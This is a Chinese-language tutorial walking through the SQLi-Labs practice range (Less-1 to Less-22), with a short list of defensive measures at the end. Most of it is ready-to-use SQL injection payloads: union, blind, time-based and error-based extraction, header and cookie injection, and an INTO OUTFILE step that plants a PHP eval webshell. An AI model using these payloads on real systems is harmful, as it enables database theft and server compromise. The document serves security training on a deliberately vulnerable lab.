SQLi_Labs靶场之Basic Challenges学习分享
字数 1608 2025-08-24 20:49:31
SQL注入基础挑战教程:SQLi_Labs靶场实践指南
1. SQL注入基础概念
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而绕过安全措施,直接操作数据库。
2. SQLi_Labs靶场Basic Challenges解析
Less-1:基于错误的字符型注入
注入点识别:
- 添加单引号
'导致报错,确认存在SQL注入漏洞 - 推测SQL语句格式:
select * from users where id='input' LIMIT 0,1;
注入步骤:
- 确定列数:
1' order by 3%23 - 获取数据库名:
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 - 获取表名:
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23 - 获取列名:
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23 - 获取数据:
-1' union select 1,username,password from users where id=3%23
Less-2:数字型注入
特点:
- SQL语句格式:
select * from users where id=input LIMIT 0,1; - 不需要闭合单引号
Payload:
-1 or 1=1%23
Less-3:带括号的字符型注入
特点:
- SQL语句格式:
select * from users where id=('input') LIMIT 0,1; - 需要闭合括号和单引号
Payload:
-1') or 1=1%23
Less-4:双引号字符型注入
特点:
- SQL语句格式:
select * from users where id=("input") LIMIT 0,1; - 需要闭合双引号和括号
Payload:
-1") or 1=1%23
Less-5:基于布尔的盲注
特点:
- 无显式错误回显,只有"You are in..."提示
- 需要使用盲注技术
盲注技术:
-
使用left()函数:
1' and left(version(),1)=5%23 -
使用substr()和ascii()函数:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 -
使用regexp()函数:
1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)%23 -
使用ord()和mid()函数:
1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68%23
报错注入技术:
-
count() + rand() + group by:
1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+ -
exp报错:
1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+ -
bigint溢出报错:
1' union select (!(select * from (select user())x)- ~0),2,3--+ -
xpath报错:
1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+ 1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+ -
NAME_CONST报错:
1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x--+
延时注入:
1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
1' and benchmark(10000000,md5('test'))--+
Less-6:双引号布尔盲注
特点:
- 与Less-5类似,但使用双引号闭合
Payload:
1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+
Less-7:文件导出注入
步骤:
- 获取绝对路径:
1' and updatexml(1,concat(0x7e,(select @@datadir),0x7e),1)--+ - 导出文件:
1'))UNION SELECT 1,2,3 into outfile "c:\wamp\www\sqllib\Less-7\uuu.txt"%23 - 导出webshell:
1'))UNION SELECT 1,2,'<?php @eval($_post["mima"])?>' into outfile "c:\wamp\www\sqllib\Less-7\yijuhua.php"--+
Less-8/Less-9:时间盲注
Payload:
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
Less-10:双引号时间盲注
Payload:
1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
Less-11:POST报错注入
特点:
- 表单POST提交
- 报错注入
Payload:
1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
Less-12:双引号带括号POST注入
Payload:
1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
Less-13/Less-14:POST布尔盲注
Payload:
1') or ascii(substr((database()),1,1))>100#
1" or left(database(),1)='s'#
Less-15/Less-16:POST时间盲注
Payload:
admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
Less-17:UPDATE注入
特点:
- username字段被过滤,password字段存在注入
- 报错注入
Payload:
username=admin&password=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
Less-18:HTTP头注入(User-Agent)
特点:
- 登录成功后User-Agent字段存在注入
- INSERT语句注入
Payload:
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
Less-19:HTTP头注入(Referer)
Payload:
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
Less-20:Cookie注入
Payload:
uname=' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
Less-21/Less-22:Base64编码的Cookie注入
Payload:
# Less-21 (单引号)
JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d
# Less-22 (双引号)
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d
3. 防御措施
- 使用参数化查询(Prepared Statements)
- 实施最小权限原则
- 输入验证和过滤
- 使用Web应用防火墙(WAF)
- 错误信息处理
- 定期安全审计
4. 总结
本教程详细介绍了SQLi_Labs靶场Basic Challenges部分的各类SQL注入技术,包括:
- 基于错误的注入
- 联合查询注入
- 布尔盲注
- 时间盲注
- 报错注入
- HTTP头注入
- Cookie注入
- 文件导出注入
每种技术都有其特定的应用场景和Payload构造方法,理解这些技术对于Web安全测试和防御至关重要。